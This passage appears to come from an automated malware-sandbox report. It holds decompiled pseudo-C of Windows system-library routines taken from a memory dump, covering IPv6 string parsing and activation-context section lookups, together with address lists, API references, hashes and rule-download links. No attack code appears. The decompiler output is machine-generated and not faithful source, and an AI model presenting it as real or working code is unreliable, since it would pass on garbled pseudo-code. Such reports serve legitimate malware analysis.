										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6C04CB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6C04CB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6C04CDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6C04CB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6C04CCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6C04CB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6C04CCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
													_t75 = E6C04CC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6C04CB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6C04CC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6C04CB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6C04CC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6c006ca5
0x6c006cb0
0x6c006cef
0x6c006cef
0x6c006cc4
0x6c006cc4
0x6c006cc6
0x6c006cc8
0x6c006ccb
0x6c006cce
0x6c006cd1
0x6c006cd4
0x6c006cfd
0x6c006cfe
0x6c006cfe
0x6c006cdc
0x6c006ce9
0x6c061c19
0x6c061c1e
0x6c061c1f
0x6c061c22
0x6c061cc3
0x6c061cc3
0x6c061cc6
0x6c061e20
0x6c061e20
0x00000000
0x6c061ccc
0x6c061ccc
0x6c061cd0
0x00000000
0x6c061cd6
0x6c061cd6
0x6c061cd7
0x6c061cda
0x6c061cdd
0x00000000
0x6c061ce3
0x6c061ce3
0x6c061ce4
0x6c061ce9
0x6c061cea
0x6c061ced
0x6c061cef
0x6c061cef
0x6c061cf2
0x6c061cf9
0x6c061cfb
0x6c061cfd
0x6c061cff
0x6c061d05
0x6c061d05
0x6c061d08
0x6c061d08
0x6c061d01
0x6c061d01
0x6c061d03
0x00000000
0x00000000
0x6c061d03
0x6c061cff
0x6c061d0b
0x6c061d0d
0x6c061d10
0x6c061d12
0x00000000
0x6c061d18
0x6c061d18
0x6c061d1c
0x6c061d1c
0x6c061d20
0x6c061d25
0x6c061d26
0x6c061d28
0x6c061d76
0x6c061d78
0x6c061d79
0x6c061d7d
0x00000000
0x6c061d83
0x6c061d84
0x6c061d89
0x6c061d8a
0x6c061d8c
0x00000000
0x6c061d92
0x6c061d93
0x6c061d99
0x6c061d9b
0x00000000
0x6c061da1
0x6c061da2
0x6c061da7
0x6c061da8
0x6c061daa
0x6c061dbb
0x6c061dbb
0x6c061dac
0x6c061dad
0x6c061db3
0x6c061db5
0x00000000
0x6c061db7
0x6c061db7
0x6c061db7
0x6c061db5
0x6c061dc3
0x6c061dc9
0x6c061dcb
0x6c061dd0
0x00000000
0x6c061dd6
0x6c061dd6
0x6c061ddb
0x6c061de0
0x6c061de1
0x6c061de3
0x6c061df4
0x6c061df4
0x6c061de5
0x6c061de6
0x6c061dec
0x6c061dee
0x00000000
0x6c061df0
0x6c061df0
0x6c061df0
0x6c061dee
0x6c061dfd
0x6c061dfe
0x6c061e05
0x6c061e09
0x6c061e09
0x6c061e0c
0x00000000
0x6c061e0c
0x6c061dd0
0x6c061d9b
0x6c061d8c
0x6c061d2a
0x6c061d2b
0x6c061d31
0x6c061d33
0x00000000
0x6c061d35
0x6c061d35
0x6c061d3b
0x6c061d3e
0x6c061d40
0x00000000
0x6c061d42
0x6c061d4d
0x6c061d52
0x00000000
0x6c061d58
0x6c061d5f
0x6c061d68
0x6c061d6b
0x6c061d6e
0x00000000
0x6c061d6e
0x6c061d52
0x6c061d40
0x6c061d33
0x00000000
0x6c061e10
0x6c061e10
0x6c061e11
0x6c061e13
0x6c061e16
0x6c061e16
0x6c061e24
0x6c061e24
0x6c061e27
0x00000000
0x6c061e2d
0x6c061e2d
0x6c061e31
0x00000000
0x6c061e37
0x6c061e3e
0x6c061e47
0x6c061e49
0x6c061e49
0x6c061e31
0x6c061e27
0x6c061d12
0x6c061cdd
0x6c061cd0
0x6c061c28
0x6c061c28
0x6c061c29
0x6c061c2b
0x6c061c2f
0x6c061c34
0x6c061c35
0x6c061c37
0x00000000
0x6c061c3d
0x6c061c3e
0x6c061c44
0x6c061c46
0x00000000
0x6c061c4c
0x6c061c4c
0x6c061c4e
0x6c061cbd
0x6c061cbd
0x6c061cc2
0x00000000
0x6c061c50
0x6c061c50
0x6c061c53
0x6c061c53
0x6c061c56
0x00000000
0x00000000
0x6c061c58
0x6c061c5c
0x6c061c61
0x6c061c62
0x6c061c64
0x00000000
0x6c061c6a
0x6c061c6b
0x6c061c71
0x6c061c73
0x00000000
0x6c061c79
0x6c061c79
0x6c061c7e
0x6c061c81
0x6c061c88
0x6c061c89
0x6c061c8f
0x6c061c91
0x6c061c94
0x6c061c97
0x6c061c99
0x00000000
0x6c061c9f
0x6c061c9f
0x6c061caa
0x6c061cb1
0x6c061cb3
0x6c061cb4
0x6c061cb7
0x6c061cb9
0x6c061cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6c061ca1
0x6c061ca1
0x6c061ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6c061ca4
0x6c061c9f
0x6c061c99
0x6c061c73
0x00000000
0x6c061c64
0x00000000
0x6c061c53
0x6c061c4e
0x6c061c46
0x6c061c37
0x00000000
0x00000000
0x00000000
0x6c006ce9
0x6c006cf4
0x6c006cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6C006CE2

Strings

[, xrefs: 6C061CCC

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: cda79507b0626db4c2b8cc72fc18b75e9ebd5dd58d1bf54f1a122f46c84ce192
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: 8A71F431A046466AEF049E7AD861BFE77F5AF06328F28856ED8A0D7EC0D735D189C710

Uniqueness

Uniqueness Score: -1.00%

Function 6C041CC7, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6C041CC7(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t91;
				intOrPtr _t95;
				short _t96;
				intOrPtr _t104;
				intOrPtr _t111;
				short _t119;
				signed int _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				struct _EXCEPTION_RECORD _t143;
				intOrPtr* _t146;
				void* _t150;

				_t138 = __edx;
				_push(0x154);
				_push(0x6c0e0348);
				E6C05D0E8(__ebx, __edi, __esi);
				 *(_t150 - 0xf0) = __edx;
				_t146 = __ecx;
				 *((intOrPtr*)(_t150 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t150 - 0xf8)) =  *((intOrPtr*)(_t150 + 8));
				 *(_t150 - 0xe8) =  *(_t150 + 0xc);
				 *((intOrPtr*)(_t150 - 0xf4)) =  *((intOrPtr*)(_t150 + 0x10));
				 *((intOrPtr*)(_t150 - 0xe4)) = 0;
				 *(_t150 - 0xdc) = 0;
				 *((intOrPtr*)(_t150 - 0xd8)) = 0;
				 *(_t150 - 0xe0) = 0;
				 *((intOrPtr*)(_t150 - 0x140)) = 0x40;
				memset(_t150 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t150 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t150 - 0x160)) = 1;
				_t130 = 7;
				memset(_t150 - 0x15c, 0, _t130 << 2);
				_t143 =  *(_t150 - 0xe8);
				_t91 = E6C022430(1, _t146, 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
				_t147 = _t91;
				if(_t91 >= 0) {
					if( *0x6c0f8460 != 0 && ( *(_t150 - 0xe0) & 0x00000001) == 0) {
						_t95 = E6C022D50(7, 0, 2,  *((intOrPtr*)(_t150 - 0xfc)), _t150 - 0x140);
						_t147 = _t95;
						if(_t95 < 0) {
							goto L1;
						}
						if( *(_t150 - 0x13c) == 1) {
							if(( *(_t150 - 0x118) & 0x00000001) == 0) {
								if(( *(_t150 - 0x118) & 0x00000002) != 0) {
									 *(_t150 - 0x120) = 0xfffffffc;
								}
							} else {
								 *(_t150 - 0x120) =  *(_t150 - 0x120) & 0x00000000;
							}
							_t133 =  *((intOrPtr*)(_t150 - 0x114));
							_t96 =  *((intOrPtr*)(_t133 + 0x5c));
							 *((short*)(_t150 - 0xda)) = _t96;
							 *(_t150 - 0xdc) = _t96;
							 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t133 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
							 *(_t150 - 0xe8) = _t150 - 0xd0;
							 *((short*)(_t150 - 0xea)) = 0xaa;
							_t104 = E6C014720(_t138,  *(_t150 - 0xf0) & 0x0000ffff, _t150 - 0xec, 2, 0);
							_t147 = _t104;
							if(_t104 < 0 || RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
								goto L1;
							} else {
								 *0x6c0fb1e0( *(_t150 - 0x120),  *(_t150 - 0xf0), _t150 - 0xe4);
								_t147 =  *((intOrPtr*)( *0x6c0f8460))();
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									goto L1;
								}
								_t111 =  *((intOrPtr*)(_t150 - 0xe4));
								if(_t111 == 0xffffffff) {
									L25:
									 *((intOrPtr*)(_t150 - 4)) = 1;
									_t143 =  *0x6c0f8468;
									if(_t143 != 0) {
										 *0x6c0fb1e0(_t111);
										 *_t143();
									}
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									goto L1;
								}
								E6C01F540(_t150 - 0x164, _t111);
								 *((intOrPtr*)(_t150 - 4)) = 0;
								if( *((intOrPtr*)(_t143 + 4)) != 0) {
									RtlFreeUnicodeString(_t143);
								}
								_t144 =  *((intOrPtr*)(_t150 - 0xfc));
								_t147 = E6C022430(0,  *((intOrPtr*)(_t150 - 0xfc)), 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									L24:
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									_t111 = E6C07D704();
									goto L25;
								} else {
									_t147 = E6C022D50(7, 0, 2, _t144, _t150 - 0x140);
									 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
									if(_t147 < 0) {
										goto L24;
									}
									if( *(_t150 - 0x13c) == 1) {
										_t137 =  *((intOrPtr*)(_t150 - 0x114));
										_t119 =  *((intOrPtr*)(_t137 + 0x5c));
										 *((short*)(_t150 - 0xda)) = _t119;
										 *(_t150 - 0xdc) = _t119;
										 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t137 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
										if(RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
											goto L24;
										}
										_t147 = 0xc0150004;
										L23:
										 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
										goto L24;
									}
									_t147 = 0xc0150005;
									goto L23;
								}
							}
						}
						_t147 = 0xc0150005;
					}
				}
				L1:
				return E6C05D130(1, _t143, _t147);
			}

0x6c041cc7
0x6c041cc7
0x6c041ccc
0x6c041cd1
0x6c041cd6
0x6c041cdc
0x6c041cde
0x6c041ce7
0x6c041cf0
0x6c041cf9
0x6c041d01
0x6c041d09
0x6c041d0f
0x6c041d15
0x6c041d1b
0x6c041d2f
0x6c041d37
0x6c041d44
0x6c041d4c
0x6c041d55
0x6c041d68
0x6c041d78
0x6c041d7d
0x6c041d81
0x6c07d4e3
0x6c07d509
0x6c07d50e
0x6c07d512
0x00000000
0x00000000
0x6c07d51e
0x6c07d531
0x6c07d543
0x6c07d545
0x6c07d545
0x6c07d533
0x6c07d533
0x6c07d533
0x6c07d54f
0x6c07d555
0x6c07d559
0x6c07d560
0x6c07d570
0x6c07d57c
0x6c07d587
0x6c07d5a3
0x6c07d5a8
0x6c07d5ac
0x00000000
0x6c07d5ce
0x6c07d5e9
0x6c07d5f1
0x6c07d5f3
0x6c07d5fb
0x00000000
0x00000000
0x6c07d601
0x6c07d60a
0x6c07d6e1
0x6c07d6e1
0x6c07d6e4
0x6c07d6ec
0x6c07d6f1
0x6c07d6f7
0x6c07d6f7
0x6c07d730
0x00000000
0x6c07d730
0x6c07d618
0x6c07d61f
0x6c07d625
0x6c07d628
0x6c07d628
0x6c07d644
0x6c07d651
0x6c07d653
0x6c07d65b
0x6c07d6d5
0x6c07d6d5
0x6c07d6dc
0x00000000
0x6c07d65d
0x6c07d670
0x6c07d672
0x6c07d67a
0x00000000
0x00000000
0x6c07d682
0x6c07d68b
0x6c07d691
0x6c07d695
0x6c07d69c
0x6c07d6ac
0x6c07d6c8
0x00000000
0x00000000
0x6c07d6ca
0x6c07d6cf
0x6c07d6cf
0x00000000
0x6c07d6cf
0x6c07d684
0x00000000
0x6c07d684
0x6c07d65b
0x6c07d5ac
0x6c07d520
0x6c07d520
0x6c07d4e3
0x6c041d87
0x6c041d8e

APIs

memset.1105(?,00000000,0000003C,6C0E0348,00000154,6C01BC93,02BE0000,?,?,?,.mui,?,?,?,?,?), ref: 6C041D2F
RtlDosApplyFileIsolationRedirection_Ustr.1105(00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6C041D78
RtlFindActivationContextSectionString.1105(00000007,00000000,00000002,?,?,00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6C07D509

Strings

$, xrefs: 6C041D37
@, xrefs: 6C041D1B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationApplyContextFileFindIsolationRedirection_SectionStringUstrmemset
String ID: $$@
API String ID: 2010900335-1194432280
Opcode ID: 08fb3226aeab8901cde1e5ccbb5c91b70c6ea3bceb1b6bb1e72c0e95a1741288
Instruction ID: 9d4356dc427d4eed4774e574350de16de46bf8006448ad10ff30db7e30d26ed9
Opcode Fuzzy Hash: 08fb3226aeab8901cde1e5ccbb5c91b70c6ea3bceb1b6bb1e72c0e95a1741288
Instruction Fuzzy Hash: 908118B1D012699BDB25CF54CC44BDEB6F8AB09714F1081EAE91DB7640E730AE85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 6C008EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SsHd, xrefs: 6C008F1B
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6C06359D
SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6C06355D
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6C06354D
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6C06351C
SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6C0634F1
SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6C06358E
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6C0634FF
SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6C063577
SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6C06353D
RtlpCrackActivationContextStringSectionHeader, xrefs: 6C0634EC, 6C0634FA, 6C063517, 6C063538, 6C063548, 6C063558, 6C063572, 6C063589, 6C063598

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: 3ce5b381b8fb070169236807995841f02075a29691076997251fe6c1256d6e47
Instruction ID: 6c585a171863826a16be9d56c42b0829f2e1fb740fa04b0b55a6f8c2ab5f6531
Opcode Fuzzy Hash: 3ce5b381b8fb070169236807995841f02075a29691076997251fe6c1256d6e47
Instruction Fuzzy Hash: 204177B1701211BFB7148E1ACC81F3B77EEEB997487614259B404DBD21E672ED4287B1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0231F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6C0231F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6c0fd360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6C09444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6C09444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6C04F380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6C09444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6C095720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6C095720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6C095720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6C04B640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6c038c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6C095720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6C095720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6C04B640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6c0231f0
0x6c0231ff
0x6c023205
0x6c02320c
0x6c02320e
0x6c023214
0x6c023217
0x6c02321a
0x6c02321d
0x6c023223
0x6c06d974
0x6c06d977
0x6c06d978
0x6c06d979
0x00000000
0x6c023233
0x6c023235
0x6c06d824
0x6c06d829
0x00000000
0x6c06d82f
0x6c06d832
0x6c06d839
0x6c06d840
0x6c06d843
0x6c06d844
0x6c06d85d
0x6c06d861
0x6c06d867
